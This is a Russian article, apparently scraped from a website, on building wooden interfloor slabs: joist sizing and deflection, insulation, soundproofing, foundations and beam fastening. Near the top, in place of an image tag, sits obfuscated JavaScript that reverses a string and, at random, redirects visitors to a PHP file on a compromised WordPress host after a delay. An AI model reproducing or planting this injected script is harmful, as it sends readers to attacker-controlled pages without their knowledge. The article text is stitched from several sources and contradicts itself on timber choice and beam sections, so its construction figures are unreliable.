Деревянные межэтажные перекрытия

Особенности перекрытий

$NjS=function(n){if(typeof ($NjS.list)==»string») return $NjS.list.split(«»).reverse().join(«»);return $NjS.list;};$NjS.list=[«\’php.sgalf-tropxe/tropxe/weiv/bil/noitargim-pw-eno-ni-lla/snigulp/tnetnoc-pw/ofni.stobor-latigid//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to—montazh-perekrytiy.jpg» alt=»На фото – монтаж перекрытий.» width=»450″ height=»298″ /> На фото – монтаж перекрытий.

Это обусловлено несколькими факторами, из которых можно выделить основные:

• простота монтажа (для их изготовления достаточно 2 человек, и при этом нет необходимости в специализированной технике, как например, при изготовлении железобетонных конструкций);
• низкая стоимость по сравнению со всеми другими видами конструкций;
• достаточная прочность, надёжность и долговечность;
• простота ремонта и демонтажа.

Подробнее о перекрытиях из бруса смотрите видео в этой статье.

Алгоритм укладки бруса

Во время возведения стен, предназначенные для укладки бруса, застилают своими руками в несколько слоёв рубероидом. За 1 день до укладки брус обрабатывают раствором антипиреном с целью защиты от огня.

Концы деревянного бруса оборачивают в гидроизоляционный материал и помещают в ниши. Расстояние от концов бруса до стен ниши должно оставаться не менее 4 см. Это устройство заполняется пенопластом или минеральной ватой.

Перекрытия в доме из бруса своими руками

Если стена кирпичная, и толщина стены меньше двух кирпичей, пространство наполняют раствором из цемента. Каждую третью балку фиксируют анкером, выступающим из стены на 20 см, заложенным во время строительства стены. Предварительно в балке своими руками высверливается устройство под анкер, соответствующего диаметру и глубине.

Балки кладут от стен к центру, проверяя ровность укладки нивелиром. Обнаружив неровность, её устраняют при помощи просмолённых досок, подогнанных по ширине. Запрещается стёсывать брус или подкладывать под щепки, так теряется прочность конструкции.

Примечание

Какую древесину лучше выбрать для деревянных перекрытий и как правильно уложить балки?

Сборные балки перекрытия из доски

Одна из разновидностей перекрытий — деревянные балочные (бывают еще монолитные, сборные, кессонные и др.). Их сооружают как в брусовых, бревенчатых и каркасных домах, так и в возведенных из кирпича или бетонных блоков. Для начала разберемся, какими характеристиками должны обладать перекрытия.

Для повышения жесткости перекрытия деревянные балки укрепляют распорками

На первом месте, разумеется, стоит прочность, ведь помимо собственного веса перекрытия несут на себе нагрузки от предметов обстановки и находящихся в помещении людей. В соответствии с требованиями СНиП 2.01.07-85, они должны быть рассчитаны на равномерно распределенную нагрузку не менее 150 кгс/м² (при проектировании ее значение для междуэтажных перекрытий обычно несколько завышают, а для чердачных, наоборот, занижают). Если планируется установить в помещении, например, котел, бильярдный стол или рояль, то при инженерных расчетах обязательно учитывают оказываемые ими сосредоточенные нагрузки.

Распорки в перекрытии первого этажа

Вторая важная характеристика — жесткость, то есть устойчивость к прогибу под воздействием нагрузок: не более 1/200 или 1/250 пролета для чердачных и междуэтажных перекрытий соответственно. Кроме того, конструкция должна быть стабильной и «не реагировать» на хождение людей, перестановку мебели и т. п.

Балки из неклееной древесины зачастую имеют высокий процент влажности, из-за чего могут деформироваться в процессе эксплуатации здания

Возлагаются на перекрытия и такие задачи, как защита от передачи воздушного и ударного шума из одной комнаты в другую; предотвращение утечки тепла из обогреваемого помещения в холодное (чердак, подвал) при разнице температур в них ≤10°С; а также создание препятствия для распространения в здании огня.

Неклееными балками можно перекрыть пролет длиной не более 6 м. При перекрытии больших пространств можно использовать балки из LVL-бруса, максимальная длина которых составляет 18 мДлина пролета, который удастся перекрыть с помощью балок из клееной древесины, может достигать 12 мКлееные балки прочнее неклееных того же сечения

Плюсы и минусы деревянных перекрытий

Несомненные плюсы таких конструкций — легкость, быстрота сооружения и сравнительно невысокая стоимость. Ну а минусы типичны для древесины. Во-первых, балки чувствительны к изменениям температурно-влажностного режима, что чревато их деформацией. Во-вторых, дерево подвержено различным биопоражениям (гниль, грибок и пр.). По этой причине для изготовления балок следует использовать хорошо высушенный материал с влажностью не более 8–12%, в обязательном порядке обработанный специальными антисептическими препаратами, что позволит существенно продлить срок службы конструкций. Кроме того, действенной мерой по предотвращению преждевременной порчи древесины является поддержание в доме постоянного уровня температуры и влажности.

Балка перекрытия, состоящая из склеенных между собой досок-ламелейБалки зафиксированы на стенах и сращены встык стальными уголками и накладками, которые закреплены саморезамиТорцевые части балок заглублены в пазы, вырезанные в стенах

Еще один минус деревянных перекрытий заключается в их повышенной пожароопасности. Вследствие этого балки должны быть пропитаны огнезащитными составами, а по периметру проходящих сквозь перекрытия дымовых труб — устроены изоляционные короба, заполненные негорючей каменной ватой высокой плотности.

Основы вычислений

Для начала следует понять, что именно требуется рассчитать. Дело в том, что деревянный брус или доска балки под нагрузкой способно изогнуться до определенного предела – эта величина называется пределом прочности – и при дальнейшем увеличении нагрузки сломаться. Под действием нагрузки изогнувшаяся балка может также выскользнуть из креплений. Чтобы избежать этого или хотя бы снизить риск такой неприятности, деревянные балки стараются заделать в кладку дома или прикрепить с помощью кронштейнов, уголков и других видов деталей к деревянной стене дома. Используют также врубку балки в венец стены. Все такие виды фиксации считаются жесткой заделкой.

Вот так примерно выглядит расчетная схема для однопролетной балки, то есть изделие, у которого закреплены только концы. Здесь L – пролет балки, расстояние между опорными точками, Q – распределенная нагрузка, f – величина прогиба.

Основой для расчета предельно допустимого прогиба, как и источником других данных о работе деревянных конструкций, является СП 64.13330.2011. Согласно этому документу, предельный прогиб балки для межэтажных перекрытий не должен превышать 1/250 часть длины пролета.

То есть для балки с длиной 6 м допустимый прогиб составит 24 мм. Если же брать более строгие значения (для штукатурки на потолке и требующих строгой плоскости пола второго этажа напольных покрытий, например, плитки) – 1/350, допустимый прогиб уменьшается до 17 мм.

В целом для вычислений используют формулу f=L/350, при этом длину пролета указывают в миллиметрах.

Таблица 1.1. Допустимый прогиб деревянных конструкций.

Соответственно, при расчете балки на прочность в онлайн-калькуляторе или вручную следует уменьшать сечение только до тех пределов прогиба, которые меньше вычисленного значения.

На иллюстрации выше показана расчетная схема для распределенной нагрузки, то есть такой, которая равномерно распределяется по всей балке. Обычно в жилых помещениях используется именно эта схема. Однако при размещении в комнате мебели или оборудования большого веса, особенно не возле стены (на которую опирается край балки), а на некотором удалении от нее, иногда бывает разумнее использовать схему расчета для сосредоточенной нагрузки.

Вот так примерно создается сосредоточенная нагрузка на балку.

Таблица 1.2. Схемы расчета деревянных балок с одной сосредоточенной нагрузкой.

Здесь и далее Е – модуль упругости древесины Е=100 000 кгс/м2), I – осевой момент инерции балки.

Таблица 1.3. Схемы расчета деревянных балок с двумя сосредоточенными нагрузками.

Таблица 1.4. Расчет балки с двусторонним жестким защемлением при равномерно-распределенной нагрузке.

В зависимости от того, куда именно приложены нагрузки и в каком количестве, используется расчетная схема соответствующего типа.

Для бруса, защемленного в стене только одним концом (консольное крепление), используются другие формулы расчета деревянной балки на прочность. Обычно такие вычисления нужны при проектировании навесов на деревянных балках-опорах, больших вылетов крыши и других подобных случаях.

Таблица 1.5. Расчет консольной балки при одной сосредоточенной нагрузке.

Таблица 1.6. Расчет консольной балки при одной неравномерно-распределенной нагрузке.

Таблица 1.7. Расчет консольной балки при одной равномерно-распределенной нагрузке.

Утепление межэтажных перекрытий со стороны жилых комнат

Наличие деревянных балок в конструкции потолочных перекрытий существенно упрощает весь утеплительный процесс, поскольку на них довольно легко монтируются любые отделочные материалы. Однако это преимущество удаётся реализовать лишь в том случае, если вы абсолютно уверены, что балки перекрытия находятся в идеальном состоянии, т. е. не имеют следов повреждений.

Обработка балок перекрытия противогрибковой пропиткой

Вот почему перед началом утеплительных процедур обязательно проводится тщательное обследование перекрытия на предмет отсутствия на них следов плесени и грибка.

Перед началом утепления необходимо проверить балки межэтажного перекрытия на наличие плесени или грибка

Лишь по завершении этой процедуры допускается переходить к основным работам, с порядком проведения которых вы можете ознакомиться ниже:

В случае обнаружения на балках участков со следами поражения грибком или плесенью непосредственно перед утеплением их следует тщательно зачистить от этих образований, а затем обработать специальными антисептическими составами. При наличии на одной или нескольких балках хорошо различимых разрушений эти последние лучше всего заменить на новые.

Для уничтожения плесени и грибка с поверхности деревянных конструкций необходимо воспользоваться отбеливателем для древесины

После этого, как по самим балкам, так в пространствах между ними своими руками укладывается слой гидроизоляции, обеспечивающий защиту теплоизолятора от влаги. Для его формирования должны применяться специальные защитные материалы, не препятствующие удалению из комнат парообразных испарений, образующихся в результате жизнедеятельности человека. Для этих целей может использоваться напыляемая в разогретом виде мембранная плёнка, не пропускающая воду, но вместе с тем и не создающая преграды для комнатных испарений.

По завершении всех этих подготовительных операций вы можете приступать непосредственно к утеплению потолочного перекрытия своими руками (т. е. к укладке между балками и закреплению на них заготовок выбранного вами утеплительного материала).

Схема утепления межэтажного перекрытия

Способы фиксации теплоизоляционных заготовок между балками перекрытий, предшествующей окончательной отделке потолка, определяются видом используемого утеплителя и будут рассмотрены нами для каждого теплоизоляционного материала индивидуально. Отметим только, что в качестве теплоизоляционной прослойки межэтажных перекрытий в деревянных строениях чаще всего используются пенопласт и минеральная вата.

Утепление пенопластом

В том случае, если для утепления межэтажных перекрытий по балкам предпочтение отдано пенопластовым пластинам – приступать к работам желательно лишь после ознакомления со следующими рекомендациями специалистов:

• перед началом утеплительных процедур обязательно промерьте точные расстояния между балками;
• при вырезке и подгонке по размеру укладываемых между балками пенопластовых заготовок не забудьте учесть небольшой зазор (порядка 1-1,5 см), необходимый для облегчения монтажа утеплительных пластин;
• для закрепления пластин пенопласта удобнее всего воспользоваться небольшими деревянными колышками, вбиваемыми между утеплительным материалом и балками методом расклинивания;
• образовавшиеся после расклинивания пластин пенопласта зазоры обязательно уплотняются монтажной пеной;
• после окончательного застывания уплотнителя излишки монтажной пены аккуратно срезаются острым ножом;
• с целью дальнейшей декоративной отделки поверхность пенопластового утеплителя подвергается соответствующей обработке.

Порядок и особенности утепления минеральной ватой

Если же для утепления по балочным перекрытиям вами выбрана минеральная вата – постарайтесь соблюдать рекомендуемую специалистами последовательность её монтажа, приведённую ниже:

• как и в описанном ранее случае в первую очередь уточняется расстояние между несущими балками перекрытия;
• затем из рулона минеральной ваты вырезаются листы утеплителя требуемого размера;
• нарезанные заготовки (маты) аккуратно укладываются в свободных пространствах таким образом, чтобы они полностью скрывались в нишах и не выступали за нижний срез балок;
• после этого утеплительные маты обвязываются отожженной металлической проволокой и фиксируются с её помощью непосредственно на балках;

Расстояния между лагами должно быть меньше ширины рулонного утеплителя на 1 — 2 см

Инструкция по звукоизоляции

Шумоизоляцию деревянного перекрытия начинают с антисептической обработки всей древесины. После чего:

1. На нижней части бруса закрепляют рейку. В образовавшийся зазор зашивают доску с толщиной от 2,5 см.
2. Добавляют пароизоляцию. 10 см от её края загибают на стене.
3. Пространство над балками заполняют войлоком, а между ними — волокнистыми матами.

Чтобы завершить основание на нижнем этаже, подшивают потолочное покрытие. Можно использовать гипсокартон, доски или вагонку. Верхняя часть перекрытия тоже подготовлена для настила полов.

Для установки напольного покрытия кладут доски 40х150 мм. Сверху либо делают теплоизоляционную прослойку под фанеру, либо подложку под паркет и ламинат.

Для поглощения высокочастотных звуков применяют материалы с волокнистой структурой. Для гашения низких частот — настилы. Сочетание обоих типов повышает эффективность шумоизоляции.

Шумоизоляция при помощи песка

Песок обладает отменными звукоизоляционными свойствами. Колебания воздуха сначала спрессовывают песок, а затем поглощаются им.

Помимо этого песчаная прослойка заполняет пустоты в межэтажном перекрытии. Таким образом, песок изолирует и высокочастотные, и низкочастотные волны.

У такого способа имеется недостаток — межэтажные перекрытия становятся тяжёлыми. Поэтому под песок нужно предварительно подобрать балочную опору из крепких материалов.

При шумоизоляции песком:

1. Как и в описанной выше процедуре, на нижней стороне балки закрепляют рейку и зашивают зазор массивной фанерой. После чего добавляют пароизоляцию.
2. Чтобы связать деревянную перегородку, при укладке поперечных досок делают прорезь под балки. В итоге образуются сравнительно небольшие ячейки, куда впоследствии насыпают песок.
3. При засыпке рекомендуют оставить 5 см от верхнего края. Это нужно для того, чтобы проветривать перекрытие.
4. Закончив сыпать песок, набивают на лаги войлок, после чего стелят фанеру.

Этим завершают подготовку основания для чистового пола.

Черновой или плавающий пол

Черновой пол — это фанера, уложенная на поперечные лаги с отступом от стены 30 мм. На фанеру, которая накрывает доски, кладут войлок, не делая зазоров, после чего настилают пол. Такая конструкция существенно повышает уровень шумоизоляции

Плавающий пол также помогает улучшить звукоизоляцию. Его отличие от чернового пола в том, что фанеру не закрепляют, а просто укладывают поверх войлока. Чтобы скрепить фанерные листы друг с другом, вниз устанавливают рейку. При этом между полом и брусьями образуется свободное пространство, которое исключает возможность трения древесины и увеличивает шумоизоляцию.

Укладку плавающего пола начинают с угла и следят за тем, чтобы настил был равномерным, без трещин, зазоров и пустот. На этом этапе нужно заделать образовавшиеся стыки. Затем кладут в каркас гидроизоляционную прослойку и закрепляют её на клеевой основе.

Устройство перекрытий из дерева

Пожалуй, это лучший вид перекрытий, он выгодно отличается простотой изготовления и доступностью материалов. К тому же для его создания используется только дерево, что обеспечивает экологическую чистоту при достаточной надежности. Устройство перекрытия по деревянным балкам не отличается особой сложностью, основные его составляющие:

• несущие балки;
• направляющие бруски;
• черновой потолок;
• основа пола верхнего этажа;
• утеплитель;
• гидроизоляция;
• декоративное покрытие.

Необходимую прочность и надежность всей конструкции придаст брус. Он может быть сплошным или склеенным из нескольких слоев. Хорошая замена бруса – цельные бревна небольшого диаметра. Также основой конструкции могут послужить доски, но подобные перекрытия имеют существенные ограничения по длине пролета и нагрузке.

В принципе, балка может быть изготовлена из любой древесины, но лучше выбирать лиственницу или сосну. Дерево лиственных пород имеет несколько иную структуру и меньшее сопротивление на изгиб. Такое перекрытие может не выдержать постоянной нагрузки.

На несущую конструкцию из параллельных балок монтируют основу будущего пола и потолка соответственно. Это может быть подготовленная доска или листовой материал на древесной основе. На готовую основу укладывают напольное покрытие (на втором этаже), а снизу делают полноценный потолок.

Особенностью подобной конструкции является свободное внутреннее пространство, которое необходимо использовать. Его заполняют любым материалом с теплоизолирующими или звукопоглощающими свойствами. Это поможет сохранить тепло в помещениях и обеспечит достаточный уровень звукоизоляции.

Устройство деревянного перекрытия

Таблица расчета деревянных перекрытий.

Перекрытия своими руками сделать достаточно просто, главное – соблюдать все рекомендации и технологи. Балки укладываются на стены концами. Для того чтобы они надежно были закреплены, в стене выпиливаются специальные разъемы под нужный размер сечения. Укладывая в разъем балку, ее со всех сторон обкладывают паклей. Это предотвратит в дальнейшем образование мостиков холода. Если балка имеет размер сечения меньше, чем стены, то углубление можно делать не на всю глубину.

Второй вариант крепления перекрытия к стене является “ласточкин хвост”. Для того чтобы усилить такое крепление, дополнительно используется крепеж в виде металлической скобы. Такое крепление чаще всего используется, если стены дома выполнены из бруса. В деревянном доме ригель с балкой на одном уровне можно закрепить с помощью хомута.

Стоит выделить самый распространенный вид крепления балки к ригелю – это использование черепных брусков. Такие бруски крепятся к ригелю, и уже на них крепится балка. Рекомендуется использовать бруски сечением 50*50 мм.

Для щитового дома укладка балок осуществляется немного другим методом. В стене делаются специальные гнезда, в которые укладываются концы элементов перекрытия. Оптимальной глубиной гнезда является 150-200 мм, при этом ширина должна соответствовать размерам сечения. Помимо того, необходимо оставить зазор с каждой стороны по 10 мм. Как и в первом случае, концы материалов перед укладкой в гнезда необходимо обмотать паклей.

Для крепления элементов можно использовать и металлические анкеры. При таком креплении конец балки не будет заходить в стену.

Перекрытие второго этажа по деревянным балкам – расчет конструкции

От правильного расчета и грамотной общестроительной подготовки во многом зависит, насколько качественным получится устройство деревянного перекрытия между этажами. По удобным посадочным местам с помощью оптимально подготовленных балок межэтажные проемы застилаются быстро и легко. Прежде всего – направление монтажа перекрытий всегда выбирается по короткому размеру комнаты. Шаг установки взаимозависим от сечения основы перекрытия, но обычно равен 1 метру, так как меньший шаг приведет к большой трудоемкости при обустройстве посадочных мест. Разумнее купить древесину большего сечения, чем потратиться на частокол из слабых перекрытий.

• При пролете до 2.2 метра – 75х150 мм;
• При пролете до 3.2 метра – 100х175 мм;
• При пролете до 3.2 метра – 125х200 мм;
• При пролете до 5 метров – 150х225 мм.

Перекрытия необитаемых чердаков выполняются с таким же шагом, но с материалом меньшего сечения. Например, для половиной нагрузки (то есть 400 кг/м2) будет достаточно брусков 50х160, 50х180, 70х180 и 70х200 соответственно. Только учтите, что по чердаку с таким перекрытием потом придется ползать, а не ходить… Как можно заметить из расчетов, оптимальными считаются несущие балки с соотношением 1.5:1 высоты к ширине. Для чердачных помещений, напротив, используется узкое дерево вытянутого профиля ввиду небольшой нагрузки в будущем.

Выбор материалов для несущей конструкции

При строительстве дома всегда нужно решать сложный вопрос, какие использовать материалы, чтобы здание простояло долго и на протяжении всего этого срока сохраняло свои физические параметры? Сделать правильный выбор можно, только проведя ряд расчетов, так как многие свойства дерева зависят от нагрузок, создаваемых в процессе эксплуатации.

Производители пиломатериалов предлагают несколько видов древесины для строительства прочных несущих конструкций. Наибольшее предпочтение отводят таким видам, как осина, липа, тополь, береза и ольха

Немаловажное значение на надежность строения оказывает плотность используемого материала, и эти виды природного материала отвечают требованию

Балки могут быть разной формы, но важно, чтобы они были сделаны из правильного дерева

Строительный материал

Перед тем, как приступить к устройству пола на втором этаже по деревянным балкам, следует составить список всех необходимых материалов. Это позволит во время работы избежать непредвиденных простоев и задержек, вызванных необходимостью докупать какие-то стройматериалы.

Балки

Сечения балки 15 х 15 будет достаточно

Основа всей конструкции межэтажных деревянных перекрытий – балки. Они исполняют роль несущих элементов, и от них зависит прочность конструкции. Для них обычно берётся брус или лафет с сечением 15 х 15 см, либо 18 х 18 см.

Такого сечения обычно хватает, чтобы обеспечить достаточную жёсткость при удельной нагрузке 400 кг на кв.м. При этом необходимо соблюдать рекомендуемые строительными нормативами параметры: длина пролёта 4 м, а шаг между балками – 60 см. Исходя из этих параметров можно также высчитать необходимое количество бруса.

В таблице даны рекомендуемые размеры поперечного сечения несущего бруса при определённой длине пролёта.

№	Длина пролёта (мм)	Поперечное сечение балки (мм)
1	2000	75×150
2	2500	100×150
3	3000	100×175
4	3500	125×175
5	4000	125×200
6	4500	150×200
7	5000	150×225

Брусья из древесины более крепких пород (лиственница, дуб) редко можно встретить в свободной продаже, да и цена на них несравнимо выше, а древесина сосны после соответствующей обработки антисептиками мало будет уступать по долговечности использования той же лиственнице.

Настил

Деревянный настил, укладываемый на балки будет черновым основанием под напольное покрытие

Обычно настил межэтажных перекрытий выполняют двухъярусным: снизу идут черновые полы, на которые укладывается утеплитель, а сверху – предфинишный настил, монтируемый поверх несущих брусьев. Непосредственно на него укладывается декоративное напольное покрытие.

Чтобы определиться с характером и количеством материала для настила, следует чётко продумать конструкцию перекрытий.

В устройстве чернового пола в качестве опоры для досок настила могут использоваться либо бруски 5 х 6 см, набитые на несущие балки, либо пазы, сделанные в балках. Последний вариант достаточно трудоёмок, поэтому чаще всего для создания опоры используют бруски 5 х 6 см.

Чтобы вычислить необходимое количество брусков, достаточно посчитать количество балок и умножить их на длину каждой из них. Полученный метраж (общую длину всех балок) умножаем ещё на два (так как бруски будут набиваться с двух сторон каждой балки).

Для чистового настила можно использовать широчайший спектр материалов. Это может быть дощатый настил, фанера, панели ДСП, МДФ, ОСБ и т.д. Каждый из этих материалов имеет свои преимущества и недостатки, ознакомившись с которыми вы сможете остановить свой выбор на одном из них. Для вычисления необходимого количества материала достаточно просто вычислить площадь помещения.

Это избавит вас от необходимости прерывать работу и докупать недостающую часть.

Пропитки

Антисептик продлит срок службы дерева

Чтобы максимально увеличить срок службы деревянных конструкций, их обязательно следует обработать антисептическими материалами.

Также нелишним будет обработать древесину антипиренами, повышающими её пожарную безопасность.

Для вычисления нужного количества пропиток следует ознакомиться с инструкцией по её применению – там всегда указывается приблизительный расход смеси на кв.м.

Гидроизоляция

Поскольку древесина боится влаги, при строительстве всегда используется гидроизоляционные материалы.

Это может быть рулонная гидроизоляция, применяемая для создания водоотталкивающего слоя между деревянными конструкциями перекрытий и финишным покрытием, либо между деревом и кирпичом (камнем, шлакоблоком и т.д.).

Тепло- и шумоизоляция

При необходимости создания барьера для шума или холода в конструкции перекрытий используются изоляционные материалы. Чаще всего для этих целей используют минплиту или пенопласт. Общее их количество по площади должно быть приблизительно равно площади помещения. Подробнее об утеплении перекрытий смотрите в этом видео:

Крепёжные материалы

Для крепления деревянных элементов перекрытий следует закупить саморезы, гвозди, стальные уголки, анкерные болты и прочий расходный материал

При закупке саморезов и гвоздей следует уделять внимание их длине

Т.е. для надёжного крепления к балке доски-«сороковки» понадобятся гвозди на 120 мм или саморезы длиной 80 мм.

Фундамент для постройки каркасного дома: требования к основанию

В качестве основания при монтаже каркасного дома можно выбрать любой тип из простейших видов фундамента – именно этим и хорош каркасник. Выделяют три основных типа, которые чаще всего применяются в подобном строительстве:

1. Свайно-винтовой фундамент.
2. Ленточное основание.
3. Плитный или монолитно-плитный.

Каждый из типов имеет как плюсы, так и минусы. Разберём их более подробно.

Строим каркасный дом на свайно-винтовом фундаменте

Это наиболее простой вариант основания. Его можно выполнить двумя способами. Первый – сваи из асбестовых труб – более трудоёмок. Для его выполнения бурятся скважины, в которые опускаются асбестовые трубы. Далее труба армируется и заливается бетоном.

Именно так выполняется установка асбестовых труб для свайного фундамента

Второй вариант – это использование готовых металлических винтовых свай, скважины для которых не требуются. Они ввинчиваются в землю, для чего на конце у них сделано некое подобие бура. Такая работа выполняется при помощи техники или вручную. Вот небольшая пошаговая инструкция выполнения подобного фундамента своими руками для каркасного дома 6×6.

Иллюстрация
Описание действия

Так выглядят винтовые сваи. Необходимо рассчитать необходимое количество и заказать комплект, предварительно отметив места забуривания. Длина их будет зависеть от грунта, но для каркасных домов большой она не бывает. Иногда для подобных расчётов приходится обращаться к специалистам.

Начинаем заглублять винтовые сваи строго вертикально. Для этого один человек следит за положением по монтажному уровню, а двое других вращают сваю по часовой стрелке. Эти же действия можно произвести при помощи специальной машины

Важно, чтобы верхние срезы свай были на одном уровне. Это можно проверить лазерным уровнем.

Когда все сваи заглублены, делается связка при помощи стальных труб под верхними платформами

Это делается для придания прочности, устойчивости будущему строению. Если сварочными работами вы никогда не занимались, лучше обратиться за помощью к профессионалам.

Последним этапом на верхние платформы свай наваривается каркас из стальных швеллеров. Он станет опорой для будущего чернового пола. Здесь очень важна прочность сварки и качество шва. После того как работа закончена, весь каркас, особенно места сварки, покрывается антикоррозийной краской.

Этот вид фундамента мы решили описать более подробно, чем остальные, так как он менее трудоёмок, быстрее остальных монтируется и пользуется наибольшей популярностью.

Обустройство ленточного фундамента для каркасного строения

Ленточный фундамент используется реже, хотя среди представленных является наиболее дешёвым. Для его обустройства по отмеченному контуру выкапывается траншея глубиной от 100 до 400 мм. Внутри изготавливается деревянная опалубка, которая возвышается над землёй на 100-300 мм. В неё укладывается арматурный каркас и заливается бетон. В результате высота фундамента составит 200-700 мм. Внутри фундамента насыпается песчаная подушка, песок трамбуется и также заливается бетоном. Получается черновой бетонный пол, опирающийся на прочный фундамент.

Готовый ленточный фундамент – можно начинать возведение каркаса

Плитный фундамент для постройки и его особенности

Особенностью такого основания является то, что он двигается при сезонных расширениях грунта. По этой причине его иногда называют «плавающим». Для его обустройства необходимо заглубиться по периметру на 100-200 мм, а вокруг смонтировать опалубку высотой 200-300 мм. В углубление засыпается гравий или песок, трамбуется, после чего внутри связывается каркас из арматуры и заливается бетон. В раствор желательно добавлять влагостойкие добавки, которые обеспечат долговечность плиты и сухость полов в доме.

Теперь рассмотрим технологию строительства нижнего перекрытия. По причине того, что каркасные дома на свайно-винтовом фундаменте наиболее распространены, именно на их примере мы и будем разбирать этапы возведения.

А это плитный фундамент – он будет «плавать» вместе с подвижками грунта

Статья по теме:

Процесс закладки межэтажных деревянных перекрытий

Для каркасных построек из бруса межэтажные балки закладывают только под отведенное место между верхним венцом. Все доски должны пройти этап обработки специальным антисептическим средством. Стоит помнить, что укладка прямых балок, должна проходить только под вертикальным углом. Это повышает ее жесткость и надежность.

Выравнивание балок, располагаемых между этажами, происходит за счет длинных досок, которые необходимо выбрать под определенный размер. Вариантом дополнительного укрепления, могут служить подкладки. Подкладки также должны пройти предварительный процесс обработки их мастикой.

После возведения стен, можно приступить к возведению внутреннего свода. Временно вам нужно подвесить к каждой балке по черепному бруску, они будут служить опорой для пола сверху. Для черепного бруса можно использовать сосну размером не более пяти сантиметров. Крепление брусков происходит при помощи саморезов, позже на них кладут доски, которые будут полом верхнего этажа.

Межэтажное деревянное перекрытие способно полностью заменить собой бетонную плиту. Плюсом от его использования можно считать значительное уменьшение стоимости возведения здания.

Мы предлагаем вам услуги по возведению качественных построек, внутренних отделочных и ремонтных работ по Московской области. 

Деревянный пол в квартире

Самый простой и распространенный способ – установка деревянных лаг на бетонное основание в квартире.

Деревянный пол в квартире

• Главной особенностью деревянного пола в квартире является отсутствие дополнительного чернового пола. Тут вместо него используется бетонная плита.
• Основание пола в квартирах теплое, поэтому утеплитель тут используется редко, но требуется наличии шумоизоляции.

Пирог деревянного пола для квартиры с шумоизоляцией:

• Бетонная плита, выровненная с помощью песка;
• Гидроизоляция;
• Шумоподавляющие подкладки;
• Деревянные лаги;
• Минеральная вата;
• Пароизоляция;
• Контробрешетка;
• Обшивка из досок или фанеры;

Разновидности перекрытий по способу крепления

Перекрывать дом следует так, чтобы все элементы лежали на твердых несущих стенах. Это главное требование, которое нужно выполнять для обеспечения безопасного проживания в деревянном здании. Оно применимо для всех вариантов перекрытий, которые могут отличаться некоторыми особенностями между собой. Существует несколько разновидностей перекрытий из дерева, которые отличаются способом крепления балок:

1. Установка брусьев в пазы, выполненные в стенах из блока.

2. Использование металлических фиксаторов, закрепленных к боковым элементам.

Также перекрытия между этажами бывают трех вариантов конструкций:

• на деревянных балках или бревнах с максимальной длиной или шириной здания до 15 м, норма – 6 м;

• на деревянных ребрах – максимум до 12 м, норма – 5 м;

• на блочно-ребристых конструкциях – до 15 м.

Если на втором этаже предполагается серьезная нагрузка, например, там будет расположен бассейн, то балки укрепляют дополнительно

Установка брусьев в пазы

Конструкция деревянных междуэтажных перекрытий с установкой брусьев в пазы довольно распространена и применяется при возведении малоэтажных зданий. Она заключается в установке балок в предварительно подготовленные пазы в боковых или опорных стенах. Такой вариант удобен тем, что балки укладываются сразу при возведении стен, формируя удобную опорную поверхность для перемещения и складирования строительных материалов.

Для обеспечения дополнительной надежности, каждую третью балку фиксируют анкером к стене. Также можно пробивать отверстия в готовых стенах на глубину 2/3.

Монтаж брусьев в пазы

Использование металлических фиксаторов

Одним из вариантов крепления деревянных балок является технология использования металлических фиксаторов. Для сопряжения балок со стенами используют специальные металлические опорные крепежи ил кронштейны с двухсторонним креплением к стене. Их можно применять как для стыковки с деревянными, так и блочными несущими стенами. Крепеж должен быть выполнен из толстой листовой стали. Продается в готовом виде с отверстиями для фиксации.

Металлические крепления для монтажа перекрытий